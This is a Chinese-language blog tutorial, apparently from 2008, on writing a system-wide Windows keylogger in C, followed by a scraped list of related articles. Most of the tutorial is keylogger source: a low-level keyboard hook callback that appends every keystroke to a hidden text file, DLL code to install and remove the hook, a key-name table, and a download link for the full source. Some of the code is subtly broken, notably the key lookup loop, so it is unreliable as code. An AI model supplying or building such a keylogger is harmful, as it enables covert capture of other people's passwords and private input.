说起键盘记录,想必很多朋友都用过网上流传的一些键盘记录软件吧,但是有没有想过自己写一个呢?也许你会想:会不会很复杂啊?我可以很负责的告诉你,写键盘记录是很简单的。你所需要的仅仅是懂得一些C语言的DLL编写,剩下的就是仔细的研究下MSDN上面的函数和一些耐心啦。下面就让我这小菜带大家来写属于自己的键盘记录器吧。
说道键盘记录,免不掉要说一下Windows的HOOK函数。通过搜索引擎,我们会得到好多关于hook的定义,这里就用比较通俗易懂的话来说下什么是hook。
Hook可以说就是一个间谍,假如你想要给你远在马来西亚的女朋友写一封信,你可以直接把写好的信投到邮局,然后由邮递员送到你女朋友手里。但是当hook这个阴险的间谍出现时,事情就完全发生了变化。Hook会赶在邮递员把你的信送出去之前进行一些你并不想要的操作,这样一来,你的信可能被修改、复制,甚至直接销毁。
那么按键消息也就像你的那封信一样,当在系统中安装了hook之后,就可以截取所有的键盘消息,从而对这些消息进行操作,还可以决定是否继续将这个消息传送到另外一个正在等候的程序。
通过上面简单的比喻,我想大家应该对hook有了一个简单的认识,下面我们来说下hook的分类以及一些具体的使用。
Hook可以分为下面几种,不同类型的钩子有着不同的作用:

            WH_CALLWNDPROC             WH_CALLWNDPROCRET             WH_CBT             WH_DEBUG            
           
            WH_KEYBOARD_LL             WH_MOUSE             WH_MOUSE_LL             WH_MSGFILTER            
           
            WH_FOREGROUNDIDLE             WH_GETMESSAGE             WH_JOURNALPLAYBACK             WH_JOURNALRECORD            
           
            WH_KEYBOARD             WH_SHELL             WH_SYSMSGFILTER            
           
           

这么多的钩子类型,我们在这一不去进行一一的解释,仅仅拿出我们需要的两个来说一下,其他的大家可以参阅MSDN上的SetWindowsHookEx函数的定义。
这里与我们键盘记录有关系的两个钩子类型是:WH_KEYBOARD和WH_KEYBOARD_LL,这两个都是键盘钩子,他们有什么区别呢?MSDN上面说的是WH_KEYBOARD会在应用程序调用GetMessage 或者PeekMessage函数并且有键盘消息(按下或者释放)的时候会调用相应的函数进行处理,WH_KEYBOARD_LL这个类型是只要有键盘输入事件的发生,它都会将键盘消息传给相应函数,而在我自己试验的时候发现WH_KEYBOARD类型的钩子只记录本程序的按键消息,对发送到其他程序的按键消息不予以响应。所以,下面我们就用WH_KEYBOARD_LL这个类型的底层键盘钩子,来记录计算机上所有的键盘输入。
下面我们看一下钩子使用: 首先我们要定义一个钩子的回调函数,这样当相应的系统消息传送给钩子的时候就会由这个回调函数进行处理。回调函数书写必须按照下面的语法: LRESULT CALLBACK HookProc (          int nCode,                  WPARAM wParam,                  LPARAM lParam ); HookProc是你自己定义的名字。nCode参数是Hook代码,Hook子程使用这个参数来确定任务。这个参数的值依赖于Hook类型,每一种Hook都有自己的Hook代码特征字符集。wParam和lParam参数的值依赖于Hook代码,但是它们的典型值是包含了关于发送或者接收消息的信息。
我们这里用到的是WH_KEYBOARD_LL对应的回调函数LowLevelKeyboardProc,他的定义如下: LRESULT CALLBACK LowLevelKeyboardProc( int nCode,         // hook code WPARAM wParam, // message identifier LPARAM lParam  // message data ); 这里的wParam指的是键盘消息的标识,它的值可以是WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, 或者WM_SYSKEYUP.而lParam则指向一个KBDLLHOOKSTRUCT结构体,下面是KBDLLHOOKSTRUCT结构体的定义: typedef struct tagKBDLLHOOKSTRUCT {         DWORD         vkCode; //virtual-key         DWORD         scanCode;         DWORD         flags;         DWORD         time;         ULONG_PTR dwExtraInfo; } KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT; 知道了上面的这些,我们就可以开始写我们的回调函数了:
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam ) {         KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam;         LPCSTR log=GetKeyName(pStruct->vkCode);         if (wParam==WM_KEYDOWN)         {                 FILE *fl=fopen("C:\\zaroty.TXT","a+");                 fprintf(fl,"%s %s",log," ");                 fclose(fl);         }         return CallNextHookEx( CuhHook, nCode, wParam, lParam ); } 上面这段代码的意思就是当调用回调函数时,将虚拟码通过GetKeyName函数(后面会定义)转换为我们可以看懂的内容,然后当接收到键盘按下(WM_KEYDOWN)的消息时,就打开C:\\zaroty.TXT并将转换来的按键信息写入其中。写入完毕之后为了保证这个按键消息可以继续传递下去,调用CallNextHookEx函数将其传入消息队列。下面是CallNextHookEx函数的定义:
LRESULT CallNextHookEx( HHOOK hhk,          // 当前钩子的句柄,当我们安装钩子的时候会得到这个句柄。 int nCode,          // hook code passed to hook procedure WPARAM wParam,  // value passed to hook procedure LPARAM lParam       // value passed to hook procedure );
这样我们的回调函数就写完了,下面要做的就是安装钩子,让我们的回调函数起到作用。这时我们就要用到了SetWindowsHookEx函数,它的原型为:
HHOOK SetWindowsHookEx( int idHook,            // 钩子类型,我们这里是WH_KEYBOARD_LL HOOKPROC lpfn,         // 钩子的回调函数,即上面的LowLevelKeyboardProc HINSTANCE hMod,        // 指向调用钩子的程序的句柄,后面会讲到。 DWORD dwThreadId       // thread identifier );
按照上面的结构来安装我们自己的钩子
DLLEXPORT BOOL StartHook() {         CuhHook=SetWindowsHookEx(WH_KEYBOARD_LL,LowLevelKeyboardProc,g_hModule,0);         if (CuhHook!=NULL)         {                 return 1;         }         else         {                 return 0;         } } 下面是卸载钩子的函数:
DLLEXPORT BOOL StopHook() {         if (UnhookWindowsHookEx(CuhHook))         {                 return 1;         }         else         {                 return 0;         } } 因为我们要记录所有的键盘消息,所以需要的是一个系统全局钩子,那么我们就要将所需要的钩子函数写到一个外部的DLL里面,然后由其他的应用程序调用DLL内的一些函数来实现(为什么要这么麻烦?我也不知道,微软规定的 :-) )。还不懂得DLL编写的朋友可以去参看一下这两篇转载的文章:
http://hi.baidu.com/zaroty/blog/item/575bc6caa8832280c91768f2.html
http://hi.baidu.com/zaroty/blog/item/a64366fa4586fe8f9e5146f2.html
下面我们开始编写DLL
首先,打开VC6.0 新建一个空的Win32 Dynamic-Link Library工程,然后新建一个keyhook.c,写入如下代码:
//////////////////////////////////// //keyhook.c //作用:DLL主文件 //作者:zaroty //时间:2008年9月9日0:54:39 //博客:http://hi.badu.com/zaroty /////////////////////////////////// #define _WIN32_WINNT 0x0500 //底层钩子需要设置系统版本号 #include <windows.h> #include <stdio.h> #include "keyhook.h" #include "vKey.h" HHOOK CuhHook=NULL; HANDLE g_hModule; BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, void* lpReserved)
{         switch(dwReason)         {         case DLL_PROCESS_ATTACH:            g_hModule = (HINSTANCE)hModule;            break;         case DLL_PROCESS_DETACH:             g_hModule=NULL;             break;         }         return TRUE; }
  上面的内容包含了所必需的头文件和一个DllMain函数,在DllMain中我们将调用DLL的程序的句柄保存为g_hModule,以方便SetWindowsHookEx函数使用。然后我们把上面的回调函数以及安装钩子和卸载钩子函数的代码都粘贴进去,我们的 .c文件就写到这里了。
下面我们添加一个头文件,声明我们需要导出的函数,方便其他程序的隐式调用。
//////////////////////////////////// //keyhook.h //作用:DLL头文件,声明导出的函数 //作者:zaroty //时间:2008年9月9日0:54:39 //博客:http://hi.badu.com/zaroty /////////////////////////////////// #define DLLEXPORT __declspec(dllexport) DLLEXPORT BOOL StartHook(); DLLEXPORT BOOL StopHook(); 写到这里,我们的程序基本上就写完了,仔细想想,我们是不是忘掉了什么东西呢?对,是那个转换虚拟码为按键信息的函数GetKeyName。下面我们新建一个头文件,将这个函数的内容写进去: struct VKeyInfo{         USHORT VKey;         LPCSTR VKname; }; #define AddVKey(VK, VKName)       {(VK), (VKName)} struct VKeyInfo vkey[]= {                 AddVKey(VK_BACK, "BACKSPACE"),                 AddVKey(VK_TAB, "TAB"),                 AddVKey(VK_CLEAR, "CLEAR"),                 AddVKey(VK_RETURN, "ENTER"), //省略大量的代码,具体可以下载源码查看。        };
LPCSTR GetKeyName(USHORT VKey) {         int i;         for(i = 0; i<sizeof(vkey); i++)         {                 if(VKey == vkey.VKey)                         return vkey.VKname;         } }

到此为止,我们的DLL程序就编写完毕了,下面要做的仅仅是编写一个简单的程序,调用DLL里面的StartHook函数就可以了,不会调用的朋友可以看一下上面提到的DLL编写教程。
本人菜鸟,没有上过几天学,文章写得比较乱,希望大家不要见怪。有什么疑问或者建议欢迎大家指出,谢谢!
相关链接:
DLL编写教程一
DLL编写教程二
源代码下载:(附件大于1M,好像上传不上。) http://www.mediafire.com/?654pev44nrd

[C语言(VC)] 打造自己的键盘记录器 (zaroty)的更多相关文章

  1. 安全之路 —— 使用Windows全局钩子打造键盘记录器

    简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...

  2. 使用Windows全局钩子打造键盘记录器

    简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...

  3. 警惕USB键盘记录器

    最近媒体报道了一种新型的能记录账号.密码输入的“USB键盘记录器”,引发网友关注,该设备看上去和普通U盘没什么区别,将其插入电脑USB接口,然后把键盘线和它连接,该设备就能够自动记录用户在电脑上输入的 ...

  4. wpf键盘记录器

    很简单的一个wpf键盘记录器 这个程序我一样用了全局勾子,之前用的都是winform上运行了,前一段时间 在国外的论坛上逛看到了一个wpf能用的就做了一个小程序记录一下,为了方便大家直关的看我在页面上 ...

  5. 小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser

    XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...

  6. 6.文件所有权和权限----免费设置匿名----Windows键盘记录器----简介和python模块

    文件所有权和权限 touch --help cd Desktop mkdir Folder cd Folder clear touch Test1 Test2 Test3 Test4 ls ls -l ...

  7. VC++ 对话框程序响应键盘消息的处理方法的说明(非常重要)

    基于MFC对话框的应用程序在响应按键消息和热键方面都力不从心,CDialog类的消息循环中去掉了TranslateAccelerator函数,因此不能响应热键:同时由于对话框上可能有很多控件,且默认情 ...

  8. C语言基础三(敲打键盘、寻找资料,循环语句)

    有人在学C语言或者其他语言的时候,大家都会说逻辑思维的硬道理,认为没有逻辑思维的人走不远,那么小编这里借助简单的if...else... 英文解释if(如果),else(否则) ----------- ...

  9. C语言基础一(敲打键盘、寻找资料)

    事前声明一点:小编的所有材料都是基础,没有什么大的不同,您若觉得不错的话,可以互相探讨下,毕竟本人也是小雏鸟. 大家在学习C语言.C++类似的高端语言时候,往往都是为了学而学,殊不知为什么而学,或许更 ...

随机推荐

  1. JavaScript DOM高级程序设计 5动态修改样式和层叠样式表1(源代码)--我要坚持到底!

    W3C DOM2样式规范 现在这边贴出本章要的源代码,注意要结合前面用到的ADS库http://vdisk.weibo.com/s/Dq8NU CSSStyleSheet对象属性: type :始终是 ...

  2. mysqld -install命令时出现install/remove of the service denied错误的原因和解决办法

    原因:没有使用管理员权限 解决方法:使用管理员权限打开cmd,然后运行mysqld -install,服务安装成功

  3. Android开发UI之ListView中的Button点击设置

    在ListView的Item中,如果有Button控件,那么要实现Button和Item点击都有响应,可以将Item的Layout中Button的focusable属性设为false,然后设置layo ...

  4. C/C++中static关键词的作用

    1.在函数体内的static变量作用范围是该函数体,其只被内存分配一次,所以在下次调用的时候会保持上一次的值. 2.模块内的static全局变量可以被模块内的所有函数访问,但不能被模块外的函数访问. ...

  5. maven-bundle-plugin插件, 用maven构建基于osgi的web应用

    maven-bundle-plugin 2.4.0以下版本导出META-INF中的内容到MANIFEST.MF中 今天终于把maven-bundle-plugin不能导出META-INF中的内容到Ex ...

  6. JAVA高级特性 - 注解

    注解是插入到代码中用于某种工具处理的标签.这些标签可以在源码层次上进行操作,或者可以处理编译器将其纳入到注解类文件中. 注解不会改变对程序的编译方式.Java编译器会对包含注解和不包含注解的代码生成相 ...

  7. DataTable导出到Excel(.NET 4.0)

    最近在论坛里又看到很多关于DataTable(DataSet)导入Excel的帖子,我也温故知新一下,用VS2010重新整理了一个Sample.这个问题简化一下就是内存数据到文件,也就是遍历赋值,只不 ...

  8. Ruby基础类型,动态特性,代码块

    #Ruby内置基础数据类型 NilClass,TureClass,FalseClass,Time,Date,String,Range,Struct,Array,Hash #Numerice 1.分为I ...

  9. HDU 5313 Bipartite Graph

    题意:给一个二分图,问想让二分图变成完全二分图最多能加多少条边. 解法:图染色+dp+bitset优化.设最终的完全二分图两部分点集为A和B,A中点个数为x,B中点个数为y,边数则为x × y,答案即 ...

  10. 【译】 AWK教程指南 9读取命令行上的参数

    大部分的应用程序都允许使用者在命令之后增加一些选择性的参数.执行awk时这些参数大部分用于指定数据文件文件名,有时希望在程序中能从命令行上得到一些其它用途的数据.本小节中将叙述如何在awk程序中取用这 ...